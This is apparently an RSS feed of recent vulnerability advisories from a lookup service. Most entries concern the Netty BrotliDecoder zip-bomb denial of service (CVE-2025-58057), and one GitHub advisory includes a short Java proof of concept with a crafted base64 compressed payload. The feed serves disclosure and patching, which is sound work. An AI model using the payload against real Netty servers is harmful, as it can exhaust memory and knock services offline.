https://cve.radiocsirt.org/rss/recent/all/10 Most recent entries from all 2026-10-04T05:06:57.916592+00:00 Vulnerability-Lookup csirt@opendfir.org python-feedgen Contains only the most 10 recent entries. https://cve.radiocsirt.org/vuln/bdu:2025-12594 bdu:2025-12594 2026-10-04T05:06:58.270446+00:00 bdu:2025-12594 https://cve.radiocsirt.org/vuln/certfr-2025-avi-0903 certfr-2025-avi-0903 — De multiples vulnérabilités ont été découvertes dans les produits Atlassian. Certaines d'entre elles permettent à un at… 2026-10-04T05:06:58.270516+00:00 certfr-2025-avi-0903 https://cve.radiocsirt.org/vuln/cleanstart-2026-bl34124 Withdrawn: CLEANSTART-2026-BL34124 — Security fixes in strimzi-kafka-operator 0.46.1-r4 2026-10-04T05:06:58.270537+00:00

Withdrawn by the publisher.

Affected: CleanStart: strimzi-kafka-operator

Package strimzi-kafka-operator version 0.46.1-r4 fixes 1 vulnerabilities: CVE-2025-58057

 https://cve.radiocsirt.org/vuln/euvd-2026-252003 EUVD-2026-252003 2026-10-04T05:06:58.270572+00:00 EUVD-2026-252003 https://cve.radiocsirt.org/vuln/fkie_cve-2025-58057 fkie_cve-2025-58057 2026-10-04T05:06:58.270585+00:00

Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.

 https://cve.radiocsirt.org/vuln/ghsa-3p8m-j85q-pgmj GHSA-3p8m-j85q-pgmj — Netty's decoders vulnerable to DoS via zip bomb style attack 2026-10-04T05:06:58.270612+00:00

Affected: Maven: io.netty:netty-codec-compression, Maven: io.netty:netty-codec

### Summary

With specially crafted input, `BrotliDecoder` and some other decompressing decoders will allocate a large number of reachable byte buffers, which can lead to denial of service.

### Details

`BrotliDecoder.decompress` has no limit in how often it calls `pull`, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is basically a zip bomb.

Tested on 4.1.118, but there were no changes to the decoder since.

### PoC

Run this test case with `-Xmx1G`:

```java import io.netty.buffer.Unpooled; import io.netty.channel.embedded.EmbeddedChannel;

import java.util.Base64;

public class T { public static void main(String[] args) { EmbeddedChannel channel = new EmbeddedChannel(new BrotliDecoder()); channel.writeInbound(Unpooled.wrappedBuffer(Base64.getDecoder().decode("aPpxD1tETigSAGj6cQ8vRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oEgBo+nEPW0ROKBIAaPpxD1tETigSAGj6cQ9bRE4oE…

 https://cve.radiocsirt.org/vuln/jvndb-2026-020740 jvndb-2026-020740 2026-10-04T05:06:58.270671+00:00

Hitachi Infrastructure Analytics Advisor contains the following vulnerability: CVE-2025-48924 Hitachi Ops Center Analyzer contains the following vulnerabilities: CVE-2025-48924 Hitachi Ops Center Analyzer viewpoint contains the following vulnerability: CVE-2025-48924 Hitachi Ops Center Viewpoint contains the following vulnerabilities: CVE-2023-35116, CVE-2025-24970, CVE-2025-25193, CVE-2025-48924, CVE-2025-55163, CVE-2025-58056, CVE-2025-58057

 https://cve.radiocsirt.org/vuln/ncsc-2026-0022 NCSC-2026-0022 — Kwetsbaarheden verholpen in Oracle Communications producten 2026-10-04T05:06:58.270692+00:00 NCSC-2026-0022 https://cve.radiocsirt.org/vuln/opensuse-su-2025:15520-1 openSUSE-SU-2025:15520-1 — netty-4.1.126-1.1 on GA media 2026-10-04T05:06:58.270757+00:00

netty-4.1.126-1.1 on GA media

 https://cve.radiocsirt.org/vuln/rhsa-2025:17187 RHSA-2025:17187 — Red Hat Security Advisory: Red Hat build of Quarkus 3.15.7 release and security update 2026-10-04T05:06:58.270774+00:00

netty-codec-http: Netty is vulnerable to request smuggling due to incorrect parsing of chunk extensions netty-codec: netty-codec-compression: Netty's BrotliDecoder is vulnerable to DoS via zip bomb style attack

 https://cve.radiocsirt.org/vuln/ubuntu-cve-2025-58057 UBUNTU-CVE-2025-58057 2026-10-04T05:06:58.270793+00:00

Affected: Ubuntu:Pro:14.04:LTS: netty, Ubuntu:Pro:16.04:LTS: netty, Ubuntu:Pro:18.04:LTS: netty, Ubuntu:Pro:20.04:LTS: netty, Ubuntu:22.04:LTS: netty, Ubuntu:24.04:LTS: netty, Ubuntu:25.10: netty

Netty is an asynchronous event-driven network application framework for rapid development of maintainable high performance protocol servers & clients. In netty-codec-compression versions 4.1.124.Final and below, and netty-codec versions 4.2.4.Final and below, when supplied with specially crafted input, BrotliDecoder and certain other decompression decoders will allocate a large number of reachable byte buffers, which can lead to denial of service. BrotliDecoder.decompress has no limit in how often it calls pull, decompressing data 64K bytes at a time. The buffers are saved in the output list, and remain reachable until OOM is hit. This is fixed in versions 4.1.125.Final of netty-codec and 4.2.5.Final of netty-codec-compression.

 https://cve.radiocsirt.org/vuln/wid-sec-w-2025-2098 WID-SEC-W-2025-2098 — IBM SPSS: Mehrere Schwachstellen 2026-10-04T05:06:58.270826+00:00

Ein entfernter, anonymer Angreifer kann mehrere Schwachstellen in IBM SPSS ausnutzen, um einen Denial of Service Angriff durchzuführen, und um Sicherheitsvorkehrungen zu umgehen.